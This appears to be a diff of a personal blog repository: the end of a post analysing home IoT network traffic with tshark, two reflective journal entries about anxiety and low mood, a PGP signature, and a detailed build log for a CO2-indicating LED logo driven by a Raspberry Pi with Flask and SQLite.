192.168.50.202 <-> 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208
192.168.50.202 <-> 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434
192.168.50.104 <-> 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664
17.242.218.132 <-> 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463
192.168.50.189 <-> 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174
192.168.50.131 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932
192.168.50.118 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664
192.168.50.233 <-> 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814
192.168.50.196 <-> 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242
192.168.50.216 <-> 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949
192.168.50.134 <-> 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936
192.168.50.202 <-> 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919
192.168.50.202 <-> 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593
192.168.50.202 <-> 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593
192.168.50.202 <-> 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592
192.168.50.202 <-> 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442
192.168.50.216 <-> 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456
192.168.50.216 <-> 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939
192.168.50.216 <-> 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505
192.168.50.202 <-> 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465
192.168.50.202 <-> 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107
192.168.50.216 <-> 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421
192.168.50.216 <-> 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420
192.168.50.216 <-> 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384
192.168.50.216 <-> 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550
192.168.50.216 <-> 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001
192.168.50.216 <-> 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060
================================================================================
```
- Fast “top talkers” table (by source IP)
```bash
tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \
| awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
| sort -k2,2nr | head -n 20
17.253.37.195 29540349
192.168.50.202 422414
192.168.50.1 75521
2.19.120.151 44554
17.253.53.202 22016
1.1.1.1 20675
23.58.105.122 9936
17.56.138.35 7602
192.168.50.233 7346
192.168.50.118 7216
192.168.50.131 7216
17.253.53.203 7040
54.217.122.41 6271
192.168.50.216 5392
192.168.50.104 3058
192.168.50.189 2278
17.242.218.132 1802
192.168.50.134 1750
192.168.50.196 1653
3.122.71.119 639
```
- DNS & mDNS highlights (what names show up?)
```bash
# DNS queries (unicast)
tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
-T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
Nov 23, 2025 11:48:38.131162000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
Nov 23, 2025 11:48:42.961690000 CET 192.168.50.1 _hap._tcp.local
Nov 23, 2025 11:48:42.962245000 CET 192.168.50.1 _companion-link._tcp.local
Nov 23, 2025 11:48:42.962911000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local
Nov 23, 2025 11:48:43.098378000 CET 192.168.50.1 MSS110-f691._hap._tcp.local
Nov 23, 2025 11:48:43.158641000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local
Nov 23, 2025 11:48:43.201440000 CET 192.168.50.202 _companion-link._tcp.local
Nov 23, 2025 11:48:43.532623000 CET 192.168.50.1 MSS110-080d._hap._tcp.local
Nov 23, 2025 11:48:43.962673000 CET 192.168.50.1 _hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
Nov 23, 2025 11:48:49.110167000 CET 192.168.50.1 _hap._tcp.local
Nov 23, 2025 11:48:49.110760000 CET 192.168.50.1 _companion-link._tcp.local
Nov 23, 2025 11:48:49.111395000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local
Nov 23, 2025 11:48:49.272920000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local
Nov 23, 2025 11:48:49.311002000 CET 192.168.50.1 MSS110-0ba7._hap._tcp.local
Nov 23, 2025 11:48:49.619376000 CET 192.168.50.1 Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
Nov 23, 2025 11:48:50.115506000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
Nov 23, 2025 11:48:55.037844000 CET 192.168.50.1 _hap._tcp.local
Nov 23, 2025 11:48:55.038380000 CET 192.168.50.1 _companion-link._tcp.local
Nov 23, 2025 11:48:55.038926000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local
Nov 23, 2025 11:48:55.060503000 CET 192.168.50.202 _companion-link._tcp.local
# mDNS service announcements (AirPlay/HomeKit live here)
tshark -r iot_ap_120s.pcap -Y "udp.port==5353 && dns" \
-T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
| head -n 30
```
The latter had no output as I wasn't able to make that work with a static route and relied on Tailscale. (?)
- TLS SNI (which cloud endpoints?)
```bash
tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
-T fields -e ip.dst -e tls.handshake.extensions_server_name \
| sort | uniq -c | sort -k1,1nr | head -n 20
1 1.1.1.1 one.one.one.one
1 17.253.37.195 streamingaudio.itunes.apple.com
1 17.253.53.202 pancake.apple.com
1 17.253.53.203 radio-activity.itunes.apple.com
1 17.56.138.35 cma.itunes.apple.com
1 2.19.120.151 play.itunes.apple.com
1 23.58.105.122 librarydaap.itunes.apple.com
1 54.217.122.41 guzzoni.apple.com
```
- Ports in use (quick heat check)
```bash
tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
| awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
| sort -k2,2nr | head -n 20
64725 19588
443 4086
5353 318
49395 109
7000 109
55514 102
55510 101
64721 47
54806 40
20002 32
64722 27
8883 23
49154 21
55515 21
64723 19
64728 19
64729 19
5223 14
64724 14
64686 13
```
---
## Epilogue
I've been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let's cross our fingers and hope this setup finally works nicely.
---
{{< sigdl >}}

View file

@ -0,0 +1,32 @@
+++
title = 'How am I doing?'
date = 2025-12-15T08:27:13Z
draft = false
+++
This constant feeling of how people think about me, how they view me, what is happening with them is killing me.
I'm interpretting every little move, every action, every response as me being in trouble.
Not only is it exhausting, but also it's draining me.
Draining me of happiness, being in pursuit of happyness.
Idk what is wrong with me. Idk why I can't let go. I don't know why I need so much closure. Idk. I really don't.
What I know is that I'm mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life.
Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.
This "others" in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months.
Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.
Idk what to do. I feel like I'm stuck in this life that I don't like, with so much that I love. Does this even make sense? Idk.
I know I'm full of love, and I'm willing to give it to someone.
Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don't know if I'm lying to myself or not.
Second, I know my therapist is worried for me. For how easy I can fall in the wrong people's hand, and how badly I could get hurt.
He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this.
I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qpE8QAK6SQRXn7tg6fdXP8ZtsRNLE
3nOc3esCbMYzOT7a4/GXt0uAuSpwNpkz+PS2vHFQwXQZqW3XVJ2VBkbUjgdcuDf1
Y2yE4mNkZQvdbSepHx7HWvxjXRqfd4akRFD9nox5LMcSGTKyyirb1sfTxBGT1GPB
4RRHYeHuVNrnmBQyvb+gGTRbK0m4VoXYBTqM6HmWJFHTxDSuyRJe6aWbU2zOPpDd
DiKh4BWgq+kuailwWIJmLWjUfI5CLakCAKZPWx/COGcxvUh0qiXHqwKThaUJV50X
2VwehGCWRlUJXuYd7eE2jgMmBC+UgmEri4oUU69ofsAPVteI0St3aDegyR/g5KuZ
MJfAgWwfg0oLTQpJ9c+xkpDcRz1iRLXcOTVRW0WdLgOF1hRxS1C0fmSNQoQG7i04
MpBjNy+SJpheyzUextzg5z/9hDtOmhdQHMJgHgO93o62UwBraQyj3Qesh2O7rCoI
hxV37sBWgXZYMra13H9Et0q7Nur/OU6d/WDWkbEWPhmhfuusoBdcrjjPE4xzFPv8
pdbHxCQIXmb6ns8oQxL81Ue7flSFsfzeVoVMisC8tGN+G0nNPFexXfynSrAMAU7i
hfSiCQUjsqVZJ+Ao7uNHXRVf+bB4jGWZya7Upq/ZIMSJQGi0aZevY72SqZa/BpEJ
7CFj2KaKaQ/tZYLK34DZ
=AMrA
-----END PGP SIGNATURE-----

539
content/posts/inet_logo.md Normal file
View file

@ -0,0 +1,539 @@
---
title: "INET Logo That Breathes — From CAD to LEDs to a Calm Little Server"
date: 2025-10-17
tags: ["raspberrypi","ws2812","scd41","iot","flask","fabrication","soldering"]
cover:
image: /images/inet/inet_animation_collage.jpg
alt: "Six looks of the INET LED logo"
caption: "Design → print → solder → code → glow."
draft: false
---
> I didnt add a warning sign to the room. I taught the **logo** to breathe. ;-D
The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it's not good at is **ventilating** itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!
So I crafted the INET logo and gave it a 9-5 job: be a **polite barometer**. If the air is fresh, it glows cool and calm. If its getting stale, it warms up. No blinking warnings, no sound effects — just mood.
This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I'll try to include as much detail as I can.
---
## 1) Sketch → CAD → Print
![Fusion design + logotype](/images/inet/inet_logo_fusion_merged.png)
I started the way all sensible hardware projects start: with **overconfidence** and a sketch. The INET logotype looks simple from the front but its a small maze inside. I modeled pockets for each letter in Fusion: a tall **I**, the curving **N**, three stacked bars for **E**, and the long arm of **T**. Each pocket got:
- **Mounting bosses** for the front diffusers (M2 screws),
- **Cable holes** between chambers (rounded to avoid cutting silicone wire), and
- A small **wiring bay** for the controller and power.
I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at **1-2 mm** thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears.
The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.
The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group.
I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.
---
## 2) The Look I Wanted
![Animations collage](/images/inet/inet_animation_collage.jpg)
I wasn't building a stage light. The goal was **calm**: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the **CO₂ monitor** in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I'm happy with it and want to let it be there doing it's job.
---
## 3) The Tidy Mess Behind the Panel
![Hardware collage](/images/inet/inet_hardware_collage.jpg)
Inside the box theres a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 34 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:
- A **330470 Ω** series resistor on the *data* line right at the first pixel. It damps ringing and prevents weird flickers.
- A **1000 µF** electrolytic across **5V/GND** at the strip start. It handles inrush so the first LED doesnt faint at boot.
I route the strip **DIN → DOUT** through the chambers and use short silicone jumpers at the bends. Every joint gets heatshrink and a tiny dab of hot glue as strain relief. I continuitycheck **before** power and bring brightness up slowly on a bench supply.
The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won't be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD
---
## 4) A Web Panel that Stays Out of the Way
![UI collage](/images/inet/inet_ui_collage.jpg)
The web UI is quiet on purpose: a single navbar, a `/control` page with big samesize buttons, a `/schedule` table, a draganddrop `/calendar`, a `/status` page that updates once a second, and `/history` charts for CO₂/temperature/humidity with white backgrounds so theyre legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.
Theres also a **Safe Mode** switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it's not funny for anyone to fidn this out when looking at your creation. So... yea, I took precautions not to see people getting seizures looking at my creation. :-)
---
## 5) The Color Language for Air
The `co2_monitor` animation maps CO₂ ppm → color and adds slow motion so it doesnt feel like a stoplight:
- **< 500 ppm**: Cyan outdoorlike fresh air.
- **500799**: Green — good.
- **8001199**: Yellow — getting stale.
- **12001499**: Orange — poor; youll feel it.
- **15001999**: Red — ventilate now.
- **≥ 2000**: Purple — the logo is politely yelling.
I blend the readings with an **exponential moving average** and use **hysteresis** around thresholds so it doesnt pingpong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow **breathing brightness**. The result feels alive but never flashy.
By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it's daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it's color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.
---
## 6) The Code — a guided tour (no giant blob, promise)
This whole project runs from a single Python file. Think of it like a tiny orchestra:
one thread conducts the **LEDs**, one listens politely to the **CO₂ sensor**, one keeps time as the **scheduler**, and a small **web server** hands you the baton when you want to improvise.
Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).
---
### 6.1 Configuration (the knobs)
Let's define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you dont edit code to change pin numbers.
```python
LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
SCHEDULE_PATH="schedule.json"
DB_PATH="sensor.db"
SAFE_MODE=True # hide flashy animations by default
```
*Why its like this:* simple, explicit defaults → less “why is it dark” debugging.
---
### 6.2 Strip setup + frame-diff (no flicker magic)
Now initialize `rpi_ws281x.PixelStrip` and put a **shadow frame buffer** in front of it.
```python
frame = [(0,0,0)] * LED_COUNT
_dirty = False
def _set_pixel(i, r, g, b):
# only touch hardware if the value actually changed
if frame[i] != (r,g,b):
strip.setPixelColorRGB(i, r, g, b)
frame[i] = (r,g,b)
global _dirty; _dirty = True
def flush():
if _dirty: strip.show(); _dirty=False
```
*Why its like this:* LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call `show()` with identical data.
---
### 6.3 A tiny color wheel helper
Classic rainbow helper used by a few animations:
```python
def wheel(pos):
# 0..255 → (r,g,b)
...
```
*Why its like this:* I'll use it again and again; it keeps color math out of the animations.
---
### 6.4 State & orchestration
Let's hold a registry of animations, a stop flag, and the currently playing thread.
```python
animations = {}
stop_event = threading.Event()
current_thread = None
def register(name, safe=True):
def wrap(fn):
animations[name] = {"fn": fn, "safe": safe}
return fn
return wrap
def run_animation(fn):
# cooperative hand-off: stop current, start next
if current_thread and current_thread.is_alive():
stop_event.set(); current_thread.join()
stop_event.clear()
t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
t.start(); globals()["current_thread"] = t
```
*Why its like this:* adding a new animation is a one-liner `@register("name")`. Clean exits prevent torn frames and half-drawn comets.
---
### 6.5 Animations (the mood)
Each animation is a loop that checks `stop_event.is_set()` and draws frames with `_set_pixel(...)` + `flush()`.
- **`redpulse`** — calm breathing in red; great default.
- **`colorwave`** — slow rainbow that reads clearly behind diffusers.
- **`comet`** — a single head with a fading tail orbiting the logo.
They all end with `finally: clear_strip()` so the panel doesnt freeze on the last pose if you stop mid-frame.
*Why its like this:* cooperative loops + frame-diff = smooth, interruption-safe effects.
---
### 6.6 CO₂ color language (with smoothing + hysteresis)
The star of the show. Now map ppm to color **bands** and keep transitions human-pleasant.
- `< 500`: **Cyan** (fresh)
- `500799`: **Green**
- `8001199`: **Yellow**
- `12001499`: **Orange**
- `15001999`: **Red**
- `≥ 2000`: **Purple**
```python
BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))]
EMA_ALPHA=0.15; HYST=35
# Every tick:
ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
band = hysteresis_aware_band(ema, last_band, HYST)
target = BANDS[band].color
current = lerp(current, target, 0.10) # gentle hue easing
level = breathe(0.25 Hz, low=10, high=220)
draw all pixels = current * level
```
*Why its like this:* EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.
---
### 6.7 Optional SCD41 sensor thread (the polite listener)
If the SCD41 is present, a **dedicated thread** owns I²C and updates a global `co2_data` dict every few seconds. It also logs to a tiny SQLite database.
```python
def _start_sensor():
try:
scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
except: return # sensor optional
def loop():
while True:
time.sleep(5)
if scd4x.data_ready:
co2_data.update({...})
db.insert(timestamp, co2, temperature, humidity)
threading.Thread(target=loop, daemon=True).start()
```
*Why its like this:* one thread owns the bus → no read contention. The controller keeps working even without a sensor.
---
### 6.8 Scheduler + 90-minute override (humans win, then reset)
A background thread asks, every few seconds, **which** mode should be running:
1. If the user chose something recently (override), respect it for `TTL = 90 min` (or the duration set in the UI).
2. Otherwise, apply the **default schedule** (Wednesday 1417 → `slow`, else `redpulse`).
3. Save/load the schedule atomically to `schedule.json`.
```python
def scheduler_pick():
if now < override_until: return override_mode
for row in load_schedule():
if matches(now, row): return row["mode"]
return "redpulse"
```
*Why its like this:* you can play DJ for a meeting, and the room quietly returns to its routine afterward.
---
### 6.9 The web panel (tiny Flask, big buttons)
Three pages, no fuss:
- `/status` — live JSON (`/status_data`) every second → current mode + CO₂/Temp/Humidity.
- `/control` — grid of same-size buttons (respects **Safe Mode**), optional **duration** (0180 min) with validation.
- `/schedule` — simple table editor; **Add Row** and **Save**; writes atomically.
```python
@app.post("/set")
def set_mode():
mode = request.form["mode"]
minutes = clamp( int(form["duration"]), 0, 180 )
set_override(mode, minutes)
run_animation(animations[mode]["fn"])
return redirect("/control")
```
*Why its like this:* minimal routes are easier to maintain and dont compete with the art piece.
---
### 6.10 Boot choreography
At startup I:
1. Try the **sensor thread** (if hardware is there).
2. Start the **scheduler thread**.
3. Immediately play **redpulse** (so theres a friendly glow right away).
4. Start Flask; on shutdown I **clear the strip**.
```python
if __name__ == "__main__":
_start_sensor()
threading.Thread(target=scheduler_loop, daemon=True).start()
run_animation(redpulse)
app.run(host="0.0.0.0", port=5000)
```
*Why its like this:* the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.
---
### TL;DR (but keep the vibes)
- **Frame-diff** = no flashes.
- **EMA + hysteresis** = smooth, truthful color.
- **Breathing** = presence, not signage.
- **Threads per thing** (LEDs / sensor / scheduler) = no fights.
- **Atomic files** = no corrupted schedules.
- **Safe Mode** by default = people > pixels.
Thats it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.
### Why this shape of code?
- **One thread per hardware thing.** The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides *what* to run and when. No bus fights.
- **Frame diff.** I only call `strip.show()` when a pixel actually changes. Thats why it doesnt randomly flash during web requests.
- **Atomic schedule saves.** The code writes to a temporary file and replaces the old one so a midsave power cut cant corrupt the schedule.
> No, you dont *need* the sensor. If its not connected, the app still runs; `co2_monitor` just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don't you agree?
---
## 7) Sensor Database — what it stores, where it lives, and how far it goes
This project logs room conditions to a **tiny SQLite database** so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.
### Whats stored
A single table called `readings`:
```sql
CREATE TABLE IF NOT EXISTS readings (
timestamp TEXT PRIMARY KEY, -- "YYYY-MM-DD HH:MM:SS"
co2 INTEGER, -- ppm
temperature REAL, -- °C
humidity REAL -- %
);
```
- One row per sample (typically every **560 seconds**; slow it down to reduce writes).
- `timestamp` is the primary key → easy “latest” queries and natural time ordering.
### Where the file lives
- Path is configurable via env var `DB_PATH` (see your systemd unit).
- Default: `sensor.db` in the apps working directory (e.g. `/home/pi/inet-led/sensor.db`).
Check size:
```bash
ls -lh /home/pi/inet-led/sensor.db
```
### How writes happen (and why its safe)
- The **sensor thread** owns I²C and inserts a row only when the sensor reports `data_ready`.
- Inserts are short and journaling protects against power loss.
- For friendlier read/write concurrency, enable WAL once at startup:
```sql
PRAGMA journal_mode = WAL;
PRAGMA synchronous = NORMAL;
```
### Typical size & retention
Back-of-envelope:
- ~100200 bytes per row (including overhead).
- 1 sample/minute → ~1,440 rows/day → **~150300 KB/day** → **55110 MB/year**.
- If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
Prune old data (keep last 90 days):
```sql
DELETE FROM readings
WHERE timestamp < date('now','-90 day');
```
(Optionally run `VACUUM;` after large deletes to reclaim file space.)
### Useful queries
**Latest reading:**
```sql
SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
```
**Range for charts (last 7 days):**
```sql
SELECT * FROM readings
WHERE timestamp >= datetime('now','-7 day')
ORDER BY timestamp;
```
**Downsample to hourly averages (30 days):**
```sql
SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
FROM readings
WHERE timestamp >= datetime('now','-30 day')
GROUP BY hour
ORDER BY hour;
```
**Export to CSV (example via sqlite3 CLI):**
```bash
sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
.headers on
.mode csv
.output /home/pi/inet-led/export_readings.csv
SELECT * FROM readings ORDER BY timestamp;
.output stdout
SQL
```
### SD card friendliness
- Choose a sensible interval (e.g., **3060 s**).
- Optionally buffer in memory and write every N samples.
- Prefer WAL mode; periodically prune & vacuum.
- If you care about card wear, place the DB on USB/SSD.
### Backups & restore
**Nightly backup (simple):**
```bash
sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
```
**Restore:**
1. `sudo systemctl stop inet-led`
2. Copy backup file back to `/home/pi/inet-led/sensor.db`
3. `sudo systemctl start inet-led`
### Security & permissions
```bash
chown pi:pi /home/pi/inet-led/sensor.db
chmod 600 /home/pi/inet-led/sensor.db
```
Keep the app directory non-world-readable.
### Is SQLite the right choice?
**Yes, for a single Pi** logging every few seconds and rendering local charts:
- ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
- ⚠️ One writer at a time (I only have the sensor thread writing, so its fine).
- ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
### TL;DR
SQLite is perfect here: **simple, robust, easy to back up**. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.
---
## 8) Run at Boot (systemd)
I wrote this simple systemd to `/etc/systemd/system/inet-led.service` so that it runs the script when RPi boots up:
```ini
[Unit]
Description=INET LED Panel
After=network.target
[Service]
ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
WorkingDirectory=/home/pi/inet-led
Restart=always
User=pi
Environment=LED_COUNT=78
Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
Environment=DB_PATH=/home/pi/inet-led/sensor.db
[Install]
WantedBy=multi-user.target
```
Then you can run:
```bash
sudo systemctl daemon-reload
sudo systemctl enable --now inet-led
journalctl -u inet-led -f
```
to control the systemd service.
---
## 9) Soldering Notes (a love letter to hot glue)
- **Tin first, solder second.** Tiny pads like tiny puddles. Fast in/out, no lifted pads.
- **Stagger joints** so nothing stacks under the diffuser.
- **Heatshrink + a dot of hot glue** = happier future you.
- **Continuity before power.** Multimeter first, electrons last.
- If a pad *does* lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable... So... yea.
---
## 10) Why these design choices?
- **Calm motion, not flashy.** Meeting rooms breed fatigue; the light should be a helper, not a distraction.
- **Cyan→Purple language.** Easy to learn, visible at a glance, meaningful without numbers.
- **White charts, dark UI.** Data should be legible on a projector; buttons shouldnt shout.
- **Safe Mode default.** People first. Demos are optin.
- **PLA body, PLA diffuser.** Fast and easy rapid prototyping, easy and fast printing.
---
## 11) What I learned
- A logo is a better messenger than a dashboard.
- Everyone knows what **orange** means without a legend.
- If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
- Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
---
## 12) Final notes
I did this project as a fun distraction and "not work" as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I'm so so thankful of my advisor for this cool idea, and all the support. It's not the first time I've been gifted such toys, and as I have recieved other things after that, I know it's not the last.
There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let's hope that doesn't turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*
The whole project took around 8 days, 4 of which were part of a long weekend. I did do some "not work" as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don't know how the group feels/thinks about the logo, but I love it! I hope it won't die after I leave, but even if so, so be it. I had my fun with it. :)
---
{{< sigdl >}}

View file

@ -0,0 +1,108 @@
+++
title = 'The Loop of Doom'
date = 2025-11-07T13:45:52Z
draft = false
+++
It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn't. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I've been feeling more down, sad, exhausted. I've been wanting to stay alone at home. To rest. And then I get stressed and sad because I'm not doing anything. I get the feeling of worthlessness a lot lately. It's exhausting.
Funny how I loved my research, the group, the people, hanging out, trying new things. It's just funny how everything changed all of the sudden. How I don't feel anything anymore. How sad I've been. How down I've been. My cognitive functions, my memory and everything has been also badly damaged. It's just horrible.
I've been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.
I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said "why do you want to label things?".
This is actually a really valid question. I don't know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.
This is what I call the loop of doom. MDD. I don't even know if I'm experiencing it or not. All I know is that things are not right, and I don't feel well.
Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn't work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.
